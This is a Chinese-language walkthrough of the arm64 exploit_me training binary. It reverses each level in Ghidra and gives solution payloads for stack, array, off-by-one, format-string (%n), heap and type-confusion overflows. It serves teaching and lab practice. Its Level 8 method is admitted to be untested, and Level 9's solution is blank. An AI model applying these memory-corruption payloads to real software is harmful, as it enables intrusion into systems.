Skip to content

Latest commit

 

History

History
1353 lines (965 loc) · 85.4 KB

File metadata and controls

1353 lines (965 loc) · 85.4 KB

exploit_me Explained(arm64)

使用的工具為Ghidra

!!! WARNING: RETROACTIVE CONSTRUCTION !!!

本教程是基於回溯性建構出來的,即,是在已經得知結果(答案)的前提下反向推導(猜測)正向思考時會有什麼樣的思維路徑,這意味著它可能無助於引導第一次面對這類問題時的思考過程。

Before start

Re-name, Re-type and Re-signature!

  • 首先,这三个单词多少带上点自行创造并排起来的成分,也就是没这等单词。
  • 它们的意思,我定義為「重命名」,「更改变量类型」和「更改函数signature」。
  • 在使用ghidra途中,你会遇到很多很多看不懂的结果。所以,为了加快对程序逻辑的理解,为每个局部变量重新命名是很重要的。

0

  • 就比如,这是一个main()函数,我们都知道在C的标准下,main()的signature是int main(int argc, char* argv[]),所以直接右键,Edit function signature,把这一条复制进去好了。

1

  • 这里面有大量的看不懂的名字为local_xcVariVarlVar的变量等等等等。在理解了程序逻辑之后,请务必将它们重命名,因为在脑中记忆这堆没规律的变量的含义太容易突然忘掉了。
  • 我们这么做的目的在于降低理解程序逻辑的负担。自然,如果你觉得是一个不是很重要的变量,或者暂时无法得知其用途,可以暂时不重命名。

2

  • 我们再着重看这两行,它使用了一个strcpy()函数,其中的一个参数local_8被标记为undefined8类型。要知道,标准库strcpy()的两个参数都是char*类型,所以我们就可以将local_8的类型更改为char*,或者char[8]。注意,如果要更改为char定长数组,它的长度需要被仔细推定。
  • 下文中所有的截图都是我重命名后的,请自行判断和本来的情况的对应。

Level 1: int overflow

3

  • 检查输入的密码argv[1]是否为 "passwd",是,则将argv[2]参数传入 int_overflow()

4

  • int_overflow()的逻辑:调用标准库atoi()判断传入的参数是否可以直接读为数字:
    • 如果不能,或者轉換出來的值是0,失败退出;
    • 如果能,将读取出来的数字强制类型转换为 unsigned short,如果强转后的值为0,则给出下一关密码。
    • atoi()返回类型为int,强转为ushort时只保留低2位,故只要输入数字满足0x????0000即可,其中?表示任意非0十六进制数。

Level 2: stack overflow

5

  • 密码为help,无论是从Level 1得出来的还是直接检查都能找到。
  • 要求至少4个参数,也就是 ./exploit64 help username password 这个格式,usernamepassword传入stack_overflow(),多出四个的参数部分直接忽略。

6

  • stack_overflow() 逻辑:

    • usernameverify_user(),判断username字段是否正确,只有正确才能继续。
    • 之后,创建buffer,长度8 byte,将传入的passwordcopy进入buffer,
    • 正确的password是funny,会设置buffer[strlen("funny")] = '\0' 进行截短,然后判断是否一样。
      • 这个strlen()不是直接摆在那里的,它本来会显示是某种THUNK_FUNC,根据程序逻辑/源代码可以判断出。
        • 然後呢你直接把它重命名為strlen()之後,你在後面會驚喜地發現到處都是這玩意,但我們暫且先不管這個
    7
    • verify_user()逻辑,跟旁边那个几乎一模一样,安排一个8 byte的buffer,copy,截短buffer然后判断是否一致
  • 但问题是,这玩意叫stack overflow,然后呢上面写了,你login success but你也fail了捏。。而且根据hint,我们要找到某种方法进入level3password()函数。

  • 为了利用stack overflow,先要去了解stack的行为,然后又要去了解Arm64 function call时的行为:

    8
    • 几乎每次跳转进入一个新函数时,都会在新函数的开头发现这两条指令:stp x29,x30,[sp, #??]mov x29,sp

    • stp含义为store paired,是将一对register(一个register 8 byte,一共16 byte)存入目标。

      • stp x29,x30,[sp,#-0x30]做两件事情:
        • x29x30存入sp-0x30的位置,其中x29存在[sp-0x30,sp-0x28)x30存在[sp-0x28,sp-0x20)
        • 设置sp = sp-0x30
      • x29在arm64中为frame pointer
      • x30link register,也就是执行ret指令,从函数返回时跳转到的目标地址。
    • mov x29,sp 是设置 x29 = sp,也就是更新frame pointer。

        0x0 +-+-+-+-+-+-+-+-+   <-- before stp..., sp points here
            |   stack area  |
            |      for      |
            |   local vars  |
      -0x20 +-+-+-+-+-+-+-+-+
            |       x30     |
      -0x28 +-+-+-+-+-+-+-+-+
            |       x29     |
      -0x30 +-+-+-+-+-+-+-+-+   <-- after stp..., sp points here
      
    • verify_user()函数为例,上面是简单的图解,右侧分别表示出我们刚刚进入函数,但还未执行stp x29,x30,[sp,#-0x30],以及执行了这条指令后,sp指针的位置。

    • 我们以还未执行函数开头的stp x29,x30,[sp,#-0x30]sp的值作为参考值,就可以在图示左侧标示出stack的深度,在后面,不加说明时,sp表示的值(应该)都是以此为参考。

    • 执行mov x29,sp之后,x29指向的位置和执行stp x29,x30,[sp,#-0x30]之后的sp指向的位置一致,图中没有标识出来。x29,也就是frame pointer,就是当前函数内用到的stack的最深的地方,更深的地方只会是它调用别的函数时,别的函数会用到的地方。

    • 其中,-0x28处存的x30verify_user()返回至调用它的前置函数stack_overflow()时需要用到的返回地址,

      • 9
      • 这是stack_overflow()调用verify_user()附近的assembly,这里,x30的值将会是0x4013f8,也就是bl verify_user指令下面一条指令的地址。
    • 其中,-0x30处存的x29是前置函数,也就是stack_overflow()函数的frame pointer,它的值在stack_overflow()开头处由mov x29,sp确定。

    • 我们可以看到,arm64在进入函数开始就将存放了返回地址的值的registerx30压入stack中很低位的地方,而所有在stack中初始化的局部变量都放在比这个地方高的位置([sp-0x20, sp))。

      • 到这里,还请问问自己,为什么[sp-0x20, sp)这个符号表示"stack area for local vars"区域,请在此确认理解了 "以还未执行函数开头的stp x29,x30,[sp,#-0x30]sp的值作为参考值" 这一句,这也是上方图片 左侧起第二竖排蓝色数字的含义
    • 还请注意,这和x86的行为完全不一样x86使用CALL跳转到别的函数,而这个指令自身会将返回地址压入当前的ESP,也就是stack指针指向的地址,至于跳转到函数之后,它内部其他局部变量的初始化,都是在这之后进行分配,这不同于arm64中像是"预先计算一段stack地址空间用来放局部变量,将其安置在高位后再放入返回地址"。

       0x0 +-+-+-+-+-+-+-+-+  <-- before CALL, ESP points here
           |   ret addr    |
      -0x8 +-+-+-+-+-+-+-+-+  <-- after CALL, enter new function,
           |...............|   ESP points here, return
           |...............|   address already in stack.
           |...............|
      
      • 上面是64位x86的图解。
  • 该如何进行stack overflow攻击:返回地址被保存在stack之中,在返回时会被从stack中取出。但如果我们在返回之前通过溢出修改相关区域的数值,就可以改变它返回的地址,实现攻击。

  • 为了实现stack overflow攻击,我们需要先知道变量都在stack的哪些地方被初始化了,这很重要。

    • 10
    • 上方是ghidra显示的数据,下方是简单的对变量排布在stack上的图解。

        0x0 +-+-+-+-+-+-+-+-+   <-- before stp..., sp points here    
            | username_copy |
       -0x8 +-+-+-+-+-+-+-+-+
            |   admin_str   |
      -0x10 +-+-+-+-+-+-+-+-+
            |  .........    |
            |  .........    |
            |  .........    |
      -0x20 +-+-+-+-+-+-+-+-+
            |       x30     |
      -0x28 +-+-+-+-+-+-+-+-+
            |      x29      |
      -0x30 +-+-+-+-+-+-+-+-+  <-- after stp..., sp points here
      
    • 上面的排布关系请务必理解,这很重要。

  • 我们要知道,在对char*写入内容时,是往更加高位的地址进行写入,以verify_user()中对username_copy数组的写入为例,这个数组在stack上被分配在[sp-0x8, sp-0x0),在写入时,我们依序写入sp-0x8sp-0x7sp-0x6....sp-0x1

  • 这意味着,我们没法通过缓存溢出写入到图示中-0x28处的x30位置来实现攻击,因为它在更低位的地址处,这个位置存放的是verify_user()的返回地址,也就是说,我们没法通过溢出自己的返回地址实现返回地址修改。

    • 这不同于x86,根据之前的说明,我们可以在x86中溢出自己的返回地址。
  • 但是,在更加高位的地方,是否有别的x30可以利用呢?verify_user()stack_overflow()调用,这个函数的x30肯定在比上图示还要高位的地方,所以我们可以尝试溢出写入到这个地址,然后当它返回时,我们的攻击就成功了。

    11
  • 检查stack_overflow()x30存在 [sp-0x28,sp-0x20)。图示中,从左起第二竖列,蓝色的数字表示sp的深度变化,所以调用verify_user()时深度为-0x30

  • stack_overflow()函数的深度作为参考值,我们可以画出进入verify_user()并完成它自身stack空间分配之后的stack的图解:

     0x0  +-+-+-+-+-+-+-+ 
          |password_copy|  <-- stack_overflow()'s local variables
     -0x8 +-+-+-+-+-+-+-+      
          |admin_pass...|
    -0x10 +-+-+-+-+-+-+-+
          |  .........  |
          |  .........  |
          |  .........  |
          +-+-+-+-+-+-+-+ 
          |    x30      |  <-- stack_overflow()'s x30
    -0x28 +-+-+-+-+-+-+-+ 
          |    x29      |  <-- stack_overflow()'s x29
    -0x30 +-+-+-+-+-+-+-+  <-- before call verify_user(), sp points here.
          |username_copy|  <-- verify_user()'s local variables
    -0x38 +-+-+-+-+-+-+-+
          | admin_str   |  
    -0x40 +-+-+-+-+-+-+-+   
          |  .........  |   
          |  .........  |
          |  .........  |
    -0x50 +-+-+-+-+-+-+-+
          |    x30      |  <-- verify_user()'s x30
    -0x58 +-+-+-+-+-+-+-+
          |    x29      |  <-- verify_user()'s x29
    -0x60 +-+-+-+-+-+-+-+  <-- after verify_user() saves its
                                x29 and x30, sp points here.
    
    • 在之前我们以verify_user()的stack情况画出了它的stack图示,在这个更大的图示中,之前的那个图示中的0x0位置便是这个图中的-0x30,在进入verify_user()(执行bl verify_user跳转到别的函数的开头)时sp本身并不会变化。请注意这里因参考点的变化导致相对值的变化。
  • 所以就可以看出,当我们写满8 byteusername_copy,只要再多写8 byte就到stack_overflow()x30的脚下了,这个时候再写入level3password()的地址就好了。于是在stack_overflow()返回时,它就不会跳转到本该跳转的地方,而是level3password()的入口。

12

  • 简单搜索一下,发现地址是0x00401178,剩下的就是编码问题了:
    • 这个文件用的是little endian,所以低位的0x78应该写在低位的地址,我们知道char写入从小地址逐渐往大地址写,所以实际的编码是\x78\x11\x40\x00,反过来的!
    • 再然后,因为是arm64,我们地址得是64位对齐,所以得再加4个\x00
  • 答案:./exploit64 help ????????????????\x78\x11\x40\x00\x00\x00\x00\x00 test
    • 这里有16个“?”,其中“?”只要不是\x00就可以,要规避strcpy复制到一半不复制了。
    • test也可以是任意字符,只要占个位置,因为函数会检查参数个数。
  • 为什么不能爆破password的buffer而只能爆破username的:因为爆破password时溢出的对象是main()的返回地址,然后你看看这里main()返回了没:
    • 5

Level 3: array overflow

这关跟上面那个几乎一模一样。

13

  • password是Velvet,没了

14

  • 函数套娃,明示你该溢出它的返回地址。

15

  • copy_array()逻辑:它自带一个32 byte buffer,传入的参数分别指示修改哪一位、将哪一位修改为什么值,也就是target_arr[argv[2]] = argv[3],会在main()里面用atoi()转为数字先。
  • 很显然它不检查边界~ 那我们就要去找这个buffer相对于array_overflow()函数存在stack中的返回地址的距离了。

16

  • 运气真好耶,写满buffer之后就到copy_arraysp+0的位置了。

17

  • 一模一样的位置, bl copy_array时,x30的位置离那里就8 byte。

  • 因为这是一个int数组,一个int 4 byte,所以target_arr[32], target_arr[33]对应x29的位置,target_arr[34]对应x30的低位,target_arr[35]对应高位。

  • 但这里,我们只能修改buffer的一个值。这里选择34,因为我们看看就知道,即使是它正常返回的地址,也只需要32位就可以表示了,64位的部分全都是0,然后level4password()的地址好像高位也是0,我们直接改低位就完事了。

    • 理论上对Level 2同理
  • 答案:./exploit64 Velvet 34 4199112,其中4199112也就是0x4012c8,也就是level4password()的入口地址。因为有一个atoi()函数摆在最前面转化,我们选择输入十进制值。

Level 4: off by one

18

  • 我觉得找密码对这个binary file而言是最简单的,mysecret

19

  • off_by_one()逻辑:它使用strlen()判断输入字符的长度,最多256,如果长度太长就不给写入buffer。
  • 很显然,我们还是要通过溢出攻击,把target由本来的\x01写成\x00,这样就成功拿到password了。

20

21

  • 本关利用的设计:strlen()strcpy()的行为的不对应。
  • 我们可以看到,strlen()不计算string末尾的\x00作为长度的一部分,但strcpy()会连带着把\x00复制过去。
  • 于是我们只要用一个256位的任意非\x00字符 + \x00,总计257位,就可以成功。此时strlen()结果仍为256,但可以通过strcpy()写入257个字符。

22

  • 我们再看看,我们的buffer就正好紧凑着要进行溢出攻击的target,多溢出一位就成功了,这俩设计放在一块简直是故意的(?????????
  • 答案:./exploit64 mysecret ?????....???\x00,其中“?”为非\x00的ASCII字符,总计256个“?”。

Level 5: stack cookie

23

  • 密码是freedom,要给出第三个参数

24

25

  • stack_cookie()逻辑:在sp-0x48处有一个不检查边界的写入buffer,只要将sp-0x8处的值覆盖成0x01,同时保证[sp-0x4, sp-0x0)处的值保持不变,即可拿到password。

  • 答案:./exploit64 freedom aaa...aaa\x01,一共64个a,或者不是\x00的ASCII就行。

  • 这里很奇怪,因为标准答案上64偏移之后的是\x01\x00\x00\x00\x37\x33\x00\x00,我觉得它本意应该是在overflow到要修改的目标之前有一个会检查的数值,于是在溢出写入这个该保护的值时该用它本来的值去覆盖,而不是任意的字符strcpy()写入的单位是byte,要修改的目标又是个char没什么高位,甚至不要多余的部分都可以直接成功。。你把要修改的目标值设定为int 0xffffffff之类的都比这难。。

  • 而且又因为strcpy()+1 copy的特性,标准答案还会把前置函数的frame pointer写烂,虽然好像没大问题。。前置函数是main()而且stack_cookie()返回后就是exit(0)根本不会烂

level的名字叫stack cookie,但我的小饼干根本不需要保护什么鬼

Level 6: format string

26

  • 密码是happyness,只要提供密码就可以了

27

  • format_string()逻辑:它会调用另一个func goodPassword(),并判断它的返回是否为'Y',是就通过。

28

  • goodPassword()逻辑:初始化一个int,值为ASCII的'N'、以及它的指针在stack上。之后会从stdin获取输入,并将输入写入保存在.bss区域的buffer中。之后就没了,通过指针返回指向'N'的int。
  • 我们的目标自然是把这个N硬改成Y了,但buffer都不在stack了,之前的老套路就不行了于是,何况fgets()也会限定写入buffer的字符数。
  • 之后就是一个不Google可能半辈子都不会知道的攻击点:printf()可以用来攻击。
    • 虽然hints.txt里面写了要去看printf() ,你能模糊地猜到要这么去思考,但你肯定想不到具体怎么做对吧。
    • printf()的正确用法,大概类似于printf("hello\n")printf("hello, %s!\n",name)之类的对吧,也就是你用格式化字符的时候得给出一个替换字符串中的格式化符号的变量作为参数,对吧对吧。
    • 但是,printf()并不检查传入参数的个数,这里它直接把Password作为唯一参数传入其中, 如果我们故意让输入内容中包含格式化符号呢? 比如说prinf("%x,%x")
    • 查了一圈,printf()使用va_start()va_arg()处理参数问题,如果参数不够时将会是Undefined behavior,但要是不掌握这个ub的规律,那想解决掉不就只能瞎猜吗。。什么深入理解Undefined behavior
      • 所以这个利用点被视作是programmer的编程失误,而不是设计缺陷,行为到现在还是一样。
  • 检索资料,大部分文字会告诉你:
    • 29
    • printf()会将要打印的字符放在栈底(func call时sp的实际值),紧跟随其后的高位将用来放入格式化的参数。如果sp+4位置处有第一个int参数,它就会读取[sp+4, sp+8) ,如果这之后有第二个long long参数,它会读取[sp+8, sp+16),它有一个内置的栈指针来完成这些处理。
    • 如果格式化参数个数不够, printf()就会将这些部分看作自己的参数来使用,实际上根本不是它该访问的数据。 在最极端情况下,利用它可以将整个栈都泄漏。
    • 最简单的%x格式化符号只是打印出栈的值,printf()有一个可以写入内容的格式化符号%n,它的参数类型是int*,用于保存已经输出到stdout上的字符个数,自身不打印輸出任何內容。极端情况下可以实现任意地址的值写入。
  • 这么一段描述既是正确的,也不正确,因为这是32位的function call convention,64位下会优先使用寄存器传参数,不够了才用stack。

30

  • 实际检查也能发现,printf()的第一个参数放在x0,而不是当前位置实际的sp
  • 如果是32位,我们的计算将会是:[sp-0x20, sp-1c)保存了字符串地址,此时距离sp-0x820 byte,使用5个%x(int)到达char_N_ptr脚下,然后用%n修改char_N的值。
  • 如果是64位,x0~x7均为arm64的argument register,x0中是字符串地址,计算为:x1--->x7 + sp-0x20--->sp-0x8,总共7 * (8 byte register) + 24 byte stack = 80 byte,我们使用10个%llx(long long)就可以到达目标脚下了。
  • 下一个问题:写入什么。%n只是写入打印了多少个字符。%x表示打印16进制值,80 byte可以表示160个16进制值,虽然\x00只会打印一个0,而不是两个,但无论如何都超过了'Y'的ASCII值(89),而且因为stack和register值不可预测,也不能用这种方法寻求修改成固定的值。

28

  • 再看一眼代码,然后就会发现返回的不是'N',是and0xff后的值,那就可以操作了:
    • 'Y' : 0101 1001
    • 0xff: 1111 1111
    • 所以我们写入345: 0001 0101 1001个字符就好了,注意一个16进制字符占4个二进制,修改'Y'的最高位(第八位)为1,也就是1101 1001是不行的。
    • 然后,我们可以通过在格式化符号上加个数字指定printf()最少打印多少个字符%100llx最少打印100个字符。这并不会影响stack位置的偏移,因为一个%只会读一个参数,stack位置的改变由数据类型的size决定,而如果当前数据类型打印不了那么多时,它就会打印空白。
  • 答案: echo %201llx%16llx%16llx%16llx%16llx%16llx%16llx%16llx%16llx%16llx%n | ./exploit64 happyness,其中9个%16llx+1个%201llx,共345写入 + 80 byte偏移,只要符合这个构造的答案都可以。

Level 7: heap overflow

31

  • 密码mypony

32

  • heap_overflow()逻辑:用new()分配两个内存空间存放数据,heap_buffer是大小为20 byte的char数组,target_var 是一个uint指针,然后将argv[2]不检查边界复制进入heap_buffer,最后检查另一个buffer是否为指定的值。

  • new()本质上就是malloc()的包装, 传给new()的参数值是多少,在它自己的内部调用malloc()时传入的值也会是多少。 这里要用到heap overflow,想理解的话要去理解malloc()的内存分配机制就好。可以参考的内容很多,比如 1 2 3 我自己都懒得看完,这里只说用到的点:

    • 在没有free()的情况下,先分配的变量存在低位地址,后分配的存在高位地址,而有free()的情况下存在重复利用,会比较复杂。

    • 现代glibc的malloc()分配的内存不是传入什么数字就分配多少内存空间,不是malloc(20)然后再malloc(4)就能在前者偏移20 byte处找到后者。

    • 当使用malloc()分配内存时,它会将某一段heap分配为一个chunk,但这还不是函数实际返回的地址,不过,chunk的分配空间是连续的。

      chunk->  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (低位地址)
               |   Size of previous chunk   [prev_size]              |
               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
               |   Size of chunk, in bytes  [size]             |A|M|P|
      return-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
      address  |   User data starts here...                          .
               .                                                     .
               .   (malloc_usable_size() bytes)                      .
               .                                                     |
        next-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       chunk   |   (size of chunk, but used for application data)    |
               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
               |   Size of next chunk, in bytes                |A|0|1|
               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+(高位地址)
      
      • 这是一个简单的chunk结构图解。
      • chunk本身被分配的内存大小会是2 * SIZE_SZ的正整数倍,对于64位,SIZE_SZ值为8,也就是16 byte的整数倍,32位的SIZE_SZ则为4。
      • prev_size:它在一个chunk的开头部分,大小为SIZE_SZ字节。
        • 如果这个chunk的前一部分(更低位的地址的地方)存在空闲的chunk,那它存储这个空闲的chunk的大小。
        • 如果这个chunk的前一部分不是空闲的chunk(被使用),那它会被前置chunk用来存储自己的数据。
        • 在图示中next chunk指示的部分,它的prev_size就会被它上面的、第一个chunk用来存储自己的数据(也就是"but used for application data"的含义)。
      • size:它跟随在prev_size之后,存储自己这个chunk的大小,大小也为SIZE_SZ字节。它的最后三位(last 3 bits of this field)不是用来表示自己的大小,而是和这个chunk有关的flag信息。
      • prev_sizesize合称chunk header,剩下的部分叫做user datamalloc()返回的地址就指向user data区域的开始。
    • chunk的大小(size)和malloc()request的值关系:

      • /* pad request bytes into a usable size -- internal version */
        //MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
        #define request2size(req)                                              \
            (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)                   \
                 ? MINSIZE                                                     \
                 : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
      • 我的理解就是,(64 bit)假定chunk大小为 $16n$ ,那么我们要找到 $\min{(n)}$ ,使得 $16n-16+8\ge req$ ,也就是,满足*“chunk的大小去除掉chunk header部分后,余下的user data大小与prev_size部分大小之和要能存下那么多数据,并保持对齐”*的最小值。

  • heap_buffer的大小为0x20,根据上述,它能申请到一个48 byte的chunk,buffer写满时正好到达下一个chunkprev_size脚下,然后紧邻的,这个chunk正好也就是给target_var分配的,于是我们再写入16 byte覆盖掉它的chunk header就到它user data区域脚下了,此时修改值就OK,总共的偏移为 32 byte buffer写满 + 16 byte chunk header = 48 byte。

  • 答案:./exploit64 mypony aaaa....aaaa\x63\x67,其中a有48个,依旧非\x00ASCII都可。

Level 8: type confusion

33

  • 密码Exploiter

34

  • 看看代码的开始几段就会发现是根本理解不了的pattern,我们双击20行Msg::Msg(b_ptr)中第二个Msg看看是啥:

35

  • 它是一个_thiscall,并且会把自己的Root这种东西设置为某种vftable???
  • 实际上,_thiscallvftable是c++ class的特性,当然没人教的话也不会知道有这么一回事。使用ghidra自带的c++ class恢复脚本来处理一下:(实际上上面的截图都是执行完脚本之后的结果)

36

  • 之后我们再使用上图的GraphClassScript.java查看class继承关系:

37

  • 所以实际上这个程序中有三个classRoot作为base classMsgRun继承。

  • 为了解决这玩意,我们需要理解c++class的特性在assembly层原理,麻烦死了麻烦死了。。而且c++独立于c,又不是说c++ compile成binary时会有个中间的c代码(早年特性),就很难有参考的c代码了。。

C++ class实现机制(试作)

38

  • 这张图已经能提供很多很多信息了。首先,c++的class数据类型会被视作是一种struct(图中未显示)。

  • struct的底层实现:一个struct对象其实是某种指针/数组。对它的地址的不同偏移就是这个struct中各个元素的存储地址。

    struct SomeStruct {
      int  a;
      char b;
      double c;
    };
    SomeStruct S; // S is a pointer actually
    S     -->   +-+-+-+-+-+-+-+  (低位地址)
                |   int  a    |
    S+0x4 -->   +-+-+-+-+-+-+-+
                |   char b    |
    S+0x8 -->   +-+-+-+-+-+-+-+
                |   double c  |
                +-+-+-+-+-+-+-+  (高位地址)
    
    • 这是一个简单图解。我们假定有一个SomeStruct类,之后我们又创建了它的一个对象S,那么实际上S是某种指针,这个指针指向的地址的不同偏移处存有这个struct中的不同成员注意图示不一定正确,因为当数据类型size不一样时存在地址对齐机制,但大体上是这种模式。
  • 回到上面的图,我们来验证这种想法。我们看看右边的这个b_ptr->Root = 0x0,这其实就是在说,我们想要修改b_ptr这个struct中名为Root的元素为0x0

    • 看左边,x19就是放b_ptr 的寄存器,str xzr,[x19]意为将x19的值解读为一个地址,并将0x0写入这个地址,这也说明 Root这个成员在struct指针偏移0x0的位置处(也就是开头位置,或许可以理解为第一个成员)。
  • class类型被视作一个struct,我们对这个struct中各个元素的修改即为对这个对象的初始化。

  • 下面,我们使用一段代码和它的decompile作为示例:

    • 39
    • class definition
    • 40
    • create object
    • 41
    • decompile result
  • inherent的含義是「固有的」,不是「繼承的」:那個是inherit,我傻逼了,后面的都写错了!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  • 从ghidra的第10行开始看,我们先为新的class 对象分配内存空间,之后我们将对象作为Base类的constructor(Base::Base()以及 Base::Base(int,int))的一个参数,由这个constructor函数为我们实现类的构造。

  • 之后,我们以Base::Base(int,int)的ghidra decompile结果作为示例进行说明constructor如何实现类的构造。

    • 42
    • 这里我们就可以理解为什么class的成员函数中有this指针这种玩意了,虽然源代码中函数参数没有这种东西,但编译的时候assembly会给加上。
    • 先看ghidra的8、9行,我们设置this+0x8位置的值为参数athis+0xc位置的值为参数b(这里存在代码失误,本来这个位置的类成员应该是int,但我写成char了,然后这里的含义其实是将int强转为char),对照struct底层实现和c++源代码,我们就可以知道 初始化/修改class成员中的值这个过程其实就是为struct成员进行值修改。 我们可以在vscode的55~60行找到constructor的定义。
      • 43
    • 之后是最关键的第7行,这相当于将struct第一个成员修改为0x11fd68这个东西便是所谓的虚函数表vftable
      • 44
      • 0x11fd68的位置的值是一个地址,这个地址是一个virtual function的入口,在这个地址偏移的地方存在另一个virtual function入口,这两个虚函数的定义可以自行在上方查找。在此请尝试直觉地理解为什么这个玩意叫虚函数表。
  • 总结目前发现的内容:

    • c++的class会被视作是structclass的成员变量就是struct的成员变量;
    • class中定义的constructor负责修改成员变量实现类对象的初始化;
    • 将其视作struct时,会发现它第一个成员十分特殊,它指向了一个表,这个表存有所有virtual function的入口地址。
  • 如何实现类方法的调用:

    • 45
    • 这里我们分别调用了一个non-virtual function inherentMethod()以及两个virtual function vMethod()vMethod2(),相关定义如下:
      • 46
    • 47 - 这是ghidra显示的底层实现。我们可以看到,**non-virtual function是直接调用的(17行),但virtual function是通过变量保存的虚函数表进行访问的(19、21行),这非常不一样。** - 还有一些小细节,这里non-virtual function的调用没有用`this`作为参数,我猜是因为这个函数没用到`this`就没给加argument定义了,猜的。
  • c++的继承类的方法调用规则:non-virtual function will be called according to its pointer type, but virtual function call is defined by initialized type。

    • 48 - The definition of inherent class, it has method `inherentMethod()`, `vMethod()`and `vMethod2()`, **both have definitions in its base class.**
    • 49 - Let's do some function call.
    • 50 - Decompile result of these code.
    • 我们重点关住decompile 35~39行,对应于源代码124~130行,上面我们可以看到,non-virtual function通过直接call实现方法调用,所以compiler就根据指针类型确定用哪个(35行),而virtual function是通过成员变量来call function的(38, 39),所以独立于指针类型而只和初始化时的类型关联。
  • 继承类的constructor实现:

    • 51
    • 我们以Next::Next(int,int)为例,它首先调用base class的constructor,回忆一下,Base::Base(int,int)会:
      • set this+0x0 = vftable of class Base
      • set this+0x8 = a
      • set this+0xc = b
    • 但是Base constructor设置完自己的vftable之后,相同的位置就会立刻被Nextvftable覆盖掉(第10行),没啥意义。
    • 同时,this+0x10被设置为next_buffer成员存放的地方,这个变量由继承类Next所定义。这样,我们就可以看到constructor是如何处理base class, inherent class各自定义的成员变量在struct中的排布情况。
      • 哦我甚至把代码写烂了,它应该是个buffer而不是单char喂
  • 按理来说,inherent class的destructor实现也大同小异。

咳咳咳

  • 现在回来看原内容

52

  • 首先是作为base class的Root,啥都没定义,不看(可自行check源代码)

53

  • 之后是Msg类,它有一个constructorMsg::Msg()和成员函数Msg::msg(),这个constructor的定义上面放了图,现在能看懂了:
    • 54
    • 这个vftable的第一个函数恰好就是Msg::msg()函数,虽然不是很理解为什么会强转为Root类型。
    • 55
    • 然后Msg::msg()恰好就是拿来打印密码的???耶?

56

  • but看看函数逻辑就会发现,我们并没有执行Msg::msg(),我们执行的是Run::run()???

57

  • Run::run()它没给我们打印密码,而是把打印的字符当作一个command直接执行???

  • 不妨看看调用函数时的语句:(**g_ptr->Root)(g_ptr, &buffer),解除引用了两次

    • 简单的图解:

               +-+-+-+-+-+-+-+-+  <-- start of heap
               |               |
               +-+-+-+-+-+-+-+-+
               |               |
      g_ptr -> +-+-+-+-+-+-+-+-+
               |vftable address| ----> +-+-+-+-+-+-+-+-+-+-+-+-+   <-- start of vftable
               +-+-+-+-+-+-+-+-+       | address of Run::run() | ----> +-+-+-+-+-+-+-+   <-- start of Run::run()
                                       +-+-+-+-+-+-+-+-+-+-+-+-+       | *some code* |
                                                                       |             |
                                                                       +-+-+-+-+-+-+-+
      
    • 尝试解读「解除引用两次」:首先我们有一个heap内存分配,第一个*表示读取存在heap地址的数据(that is address of vftable),第二个*表示将这个数据(address of vftable)理解成一个地址,读取这个地址的值(that is actual vftable value),之后因为是调用函数,这个值被理解为函数入口地址(entry of Run::run()),于是跳转到那里。

  • 于是要做的事情就明确了:我们要想办法把g_ptr的值变成b_ptr的值,这样在调用函数语句时,解引用得到的将是Msg类的vftable,同时,注意到Run()在两个vftable中的偏移地址是一样的,于是这时候调用到的就是Msg::Run()了。

    • 或者,更歪门一点,直接找个地方执行Msg::msg()函数。
  • 上面的逻辑显示,我们会将param_1复制到一个buffer中,这不摆明了要通过stack overflow的方法将g_ptr所对应的stack部分的值溢出写为b_ptr的值,而这两个值均为通过newheap上创建的空间的地址。

  • 但要知道,linux存在保护机制ASLR,每次运行时动态分配所得到的地址是不同的,而我们overflow所用到的数值却是作为argv传进去的,我们是没有办法在执行程序之前就知道这个heap地址是什么的。

  • 第一种方法,也是最简单的解决方法:关掉ASLR,此时heap地址就是可预测的了,然后随便执行几遍得到b_ptr的地址(31行有printf()会打印出来),此时构造stack overflow即可

  • 不关掉ASLR的第二种方法:使用GDB动态调试

    • GDB 可以用来打断点、在运行时读取、修改程序的内存,并且调试的时候默认关闭ASLR,因而可以满足我们的需求。
    • 基本思路:首先在41行的strcpy()函数处打断点,等到这个函数返回时,将g_ptr所对应的区域的值覆盖为b_ptr所对应的区域的值,所对应的地址上面已经很贴心提供打印语句了,GDB里面应该能看到程序输出吧。
    • 亦或者根本不用打断点,直接gdb下运行两遍就行了。
  • 构造答案:

    • 如果是关掉ASLR的做法的话,buffer的地址在-0x60g_ptr-0x10,于是得先塞80个垃圾再塞16进制的地址:aaa....aaa???????? := str , then ./exploit64 Exploiter str
    • 如果是GDB的做法:不很简单吗随便输点东西只要进这道题的函数就完事了然后做什么上面不都说了吗不重复了。*本人没亲自测试过不保证一定可行

59

  • 到了最后delete的时候甚至删的是g_ptr_copy,也就是没被覆盖的g_ptr,怕b_ptrdelete两次然后爆炸是吗。。但Msg::msg()执行完打印出密码之后等它返回时哪管洪水滔天。。

Level 9: nullify

60

  • 密码是Gimme
  • 前期转化工作:使用atoi()argv[3]读取为数字,存入flag;使用strtouq()argv[2]字符串理解为十六进制值进行读取,保存在address里面。之后将二者作为参数传入nullify()
    • 61
    • 其中endptr参数,当不为null时,将被用来存储遇到的第一个invalid character的地址。如果nptr完全不是数字,endptr将会是nptr的值。Ref

62

  • nullify()的逻辑:在stack上存有important_var和它的地址指针important_ptr,这个值会被预设置为2。

  • 如果flag为1,则将传入的address视作一个指向int类型的指针,修改其值为0

  • 最后检测important_var是否发生了变化,如果变成0了就得到密码了。

  • 其实思路很简单,只要传入的address的值就是important_var分配在stack上的地址,并且flag为1就可以解决掉。但同样,在开启ASLR的前提下这一地址是不确定的。

  • 解法:

